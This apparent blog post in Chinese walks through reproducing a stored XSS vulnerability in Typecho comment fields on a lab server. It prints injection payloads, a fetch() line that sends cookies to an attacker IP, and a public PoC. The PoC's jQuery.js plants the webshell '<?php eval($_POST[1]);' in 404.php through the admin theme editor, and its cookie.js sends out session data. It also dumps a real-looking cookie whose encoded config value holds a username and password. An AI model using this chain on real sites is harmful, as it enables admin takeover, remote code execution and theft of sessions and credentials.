typecho存储型xss漏洞复现

前言

本文仅用作网络安全学习,实验所用一切环境皆为自身搭建,涉及脚本禁止用于恶意渗透,遵守纪律从你我做起

之前搭博客的时候使用的是typecho,然后有看到文章说typecho<=1.2.0 评论区爆出xss漏洞,就想着去复现下这个漏洞

先搭建一个安装有typecho的环境

在服务器上安装好typecho,然后打开一篇文章
测试文章

触发漏洞

在填网站的位置输入一个测试代码

http://a.b/"></a><script>alert('hack')</script><a/href="#

添加恶意代码
可以看到,在前台就直接出现弹窗了
前台出现弹窗
再访问数据库查看,可以看到,恶意代码已经被插入其中
数据库查看
以上可看出这是一个存储型xss漏洞

模拟攻击者操作

自己尝试进行利用。。。(结果失败了😂)

进行简单利用一下

尝试窃取用户的cookie

http://a.b/"></a><script>alert('cookie:'+document.cookie)</script><a/href="#

填写评论
然后不出所料,弹窗上显示了cookie
cookie
模拟被攻击者访问这个文章,出现了当前用户的cookie:

Cookie: __gsas=ID=4d7d759b4c82f636:T=1690014531:RT=1690014531:S=ALNI_MYgnsmVQ1jTFEbw4Djp-PxASzpxEA; __typecho_lang=zh_CN; __typecho_config=YTo3OntzOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7czo4OiJ1c2VyTmFtZSI7czo0OiJyb290IjtzOjEyOiJ1c2VyUGFzc3dvcmQiO3M6OToiSm9rZXIxNDEyIjtzOjg6InVzZXJNYWlsIjtzOjI0OiJ3ZWJtYXN0ZXJAeW91cmRvbWFpbi5jb20iO3M6NzoiYWRhcHRlciI7czoxMDoiUGRvX1NRTGl0ZSI7czo3OiJzaXRlVXJsIjtzOjE4OiJodHRwczovL2xhbjFvYy5sb2wiO3M6NDoiZmlsZSI7czo2ODoiL2hvbWUvdTQ3Mjg5NTMwOS9kb21haW5zL2xhbjFvYy5sb2wvcHVibGljX2h0bWwvdXNyLzY0YmI5ZTIxMjA4ZmQuZGIiO30%3D; _ga=GA1.2.136013342.1690022226; _gid=GA1.2.704794256.1690022226; _ga_9Q6H0QETRF=GS1.2.1690022226.1.1.1690023947.60.0.0; dbd467a22454ae05c4bdfd8f479b9d02__typecho_uid=1; dbd467a22454ae05c4bdfd8f479b9d02__typecho_authCode=%24T%24GtpcSbG85bbd0333bec3cda4b921d84b713afad29; PHPSESSID=8oef9oi00fkg177efo2r29knke

cookie
被攻击者的cookie
但是这种以弹窗方式获取cookie无法利用,因为弹窗上显示的cookie只有用户本身能看到,攻击者无法直接获得,可以通过远程接收来获得

攻击者服务器搭建

过程放笔记里了

接收cookie

更改恶意代码然后注入到数据库

http://a.b/"></a><script>fetch('http://192.168.152.133:8000/getcookie.php?cookie='+document.cookie)</script><a/href="#

恶意代码
然后模拟被攻击者访问这篇文章,再去看看cookie是否被获取
用命令进入容器进行交互

docker exec -it 61f2815db25c bash

结果并没有cookie写入,经过一番尝试,后来也用vps试了下也没成功,应该失败不只是这个容器不处于公网的原因,还因为浏览器有自身的安全策略,然后应该是被这些策略阻断了

公开的poc

介绍

根据poc,能获取cookie,并且在404.php中写入一句话shell
运用到以下两个脚本

jQuery.js

function step1(){
    var data2="<iframe id=\"testxss\" src=\"https://www.lan1oc.lol/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
    var oldata=document.body.innerHTML;
    document.body.innerHTML=(oldata+data2);}
var times=0;
var g_shell=0;
function poc(){
    if(times<=10){
        var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
        var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
        htmldata.innerText=('<?php eval($_POST[1]);');
        btn[1].click();
        times+=1;
        if(g_shell==1){
            var xhr1=new XMLHttpRequest();
            xhr1.open('get','/usr/themes/default/404.php?shell=1');
            xhr1.send();
            }
        else{
            return 0;
        }
    }
}
step1();

cookie.js

var website = "http://192.168.152.133:8000";

(function() {
  // 创建一个新的 Image 对象
  var img = new Image();

  // 构造请求 URL,其中包含了当前页面的信息和用户的 Cookie
  var requestURL =
    website +
    '/?keepsession=1&location=' +
    escape(function() {
      try {
        return document.location.href;
      } catch (e) {
        return '';
      }
    }()) +
    '&toplocation=' +
    escape(function() {
      try {
        return top.location.href;
      } catch (e) {
        return '';
      }
    }()) +
    '&cookie=' +
    escape(function() {
      try {
        return document.cookie;
      } catch (e) {
        return '';
      }
    }()) +
    '&opener=' +
    escape(function() {
      try {
        return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
      } catch (e) {
        return '';
      }
    }());

  // 设置 Image 对象的 src 属性为请求 URL,从而发送请求
  img.src = requestURL;
})();

keepsession、location两参数可自行更改,并且需要编写一个接收请求的文件来处理这些参数

具体流程

这里我要做了rce的复现,在评论区植入恶意代码

http://xxx.xxx.com/"></a><script/src=https://lan1oc.co/js/jQuery.js></script><a/href="#

然后管理员要在后台进行评论审核时就会达成执行脚本的条件,jQuery.js执行后,会修改404.php模板文件,写入一句话木马

<?php eval($_POST[1]);

用户只需要访问/usr/themes/default/404.php,然后post传参就能rce
rce
并且能看到404.php的源码已被篡改
被篡改的404

结语

因为水平问题,复现过程进行的磕磕绊绊的,希望在往后的学习中能够逐渐提高😤

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值